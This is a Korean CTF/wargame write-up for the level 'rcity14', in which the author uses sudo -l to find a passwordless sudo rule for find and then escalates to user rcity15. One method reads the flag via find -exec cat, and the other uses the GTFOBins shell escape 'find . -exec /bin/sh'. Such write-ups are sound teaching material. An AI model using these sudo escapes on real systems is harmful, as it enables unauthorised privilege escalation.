풀이
rcity14@35e08a7255bf:~$ ls
rcity13-flag.txt
rcity14@35e08a7255bf:~$ pwd
/home/rcity14
rcity14@35e08a7255bf:~$ cd /home/rcity15
rcity14@35e08a7255bf:/home/rcity15$ ls
rcity14-flag.txt rcity15-data.bin
rcity14@35e08a7255bf:/home/rcity15$ cat rcity14-flag.txt
cat: rcity14-flag.txt: Permission denied
rcity15의 홈 디렉토리에 들어가서 확인하려고 하니 Permission denied 가 떳다
간단히 sudo -l 을 이용하여 문제를 풀 수 있을 것 같다 현재 계정의 sudo 권한을 확인 하는 것이다.
rcity14@35e08a7255bf:/home/rcity15$ sudo -l
Matching Defaults entries for rcity14 on 35e08a7255bf:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User rcity14 may run the following commands on 35e08a7255bf:
(rcity15) NOPASSWD: /usr/bin/find
nopasswd: /usr/bin/find로 확인됬다!
방법 1)
rcity14@35e08a7255bf:/home/rcity15$ sudo -u rcity15 /usr/bin/find ./ -name "rcity14-flag.txt" -exec cat {} \;
u9N4r6D2fJ3q7C8w0H5rcity14@35e08a7255bf:/home/rcity15$
이렇게 간단하게 flag를 획득 할 수 있다
sudo -u rcity15 /usr/bin/find -name "rcity14-flag.txt" -exec cat {} \;
이 명령어를 해석하자면
sudo -u rcity15 : rcity15 사용자의 권한으로 명령어를 실행한다
sudo -l 에서 패스워드를 요구하지 않는 명령어는 find 로 확인이 되었고 /usr/bin/find를 이용해 find 명령어를 작성하는 것과 같이 -name "rcity14-flag.txt" 라는 파일이름을 찾아
-exec cat {} \; 찾은 파일을 읽어서 화면에 출력해라. {}는find 명령어로 찾은 파일의 경로를 나타내고 \; 는 exec 실행하는 옵션의 끝을 나타냄
정리하자면 rcity15 사용자 권한으로 rcity14-flag.txt 라는 파일을 찾아 파일의 내용을 화면에 출력해라! 하는 명령어 이다
방법 2)
gtfobins 사이트에서 find 명령어 sudo로 들어가서 sudo find . -exec /bin/sh \; -quit 를 복사한 후에 사용한다
rcity14@35e08a7255bf:~$ ls
rcity13-flag.txt
rcity14@35e08a7255bf:~$ cd /home/rcity15
rcity14@35e08a7255bf:/home/rcity15$ ls
rcity14-flag.txt rcity15-data.bin
rcity14@35e08a7255bf:/home/rcity15$ sudo -u rcity15 /usr/bin/find . -exec /bin/sh \; -quit
$ ls
rcity14-flag.txt rcity15-data.bin
$ id
uid=1015(rcity15) gid=1015(rcity15) groups=1015(rcity15)
$ cat rcity14-flag.txt
u9N4r6D2fJ3q7C8w0H5$
이렇게 rcity15 유저에 sh로 접속해서 권한을 직접 얻은 뒤에 flag 획득도 가능하다
'rcity' 카테고리의 다른 글
rcity16 Write-Up (0) | 2024.04.02 |
---|---|
rcity15 Write-Up (0) | 2024.04.02 |
rcity13 Write-Up (0) | 2024.04.01 |
rcity12 Wirte-Up (0) | 2024.04.01 |
rcity11 Write-Up (0) | 2024.04.01 |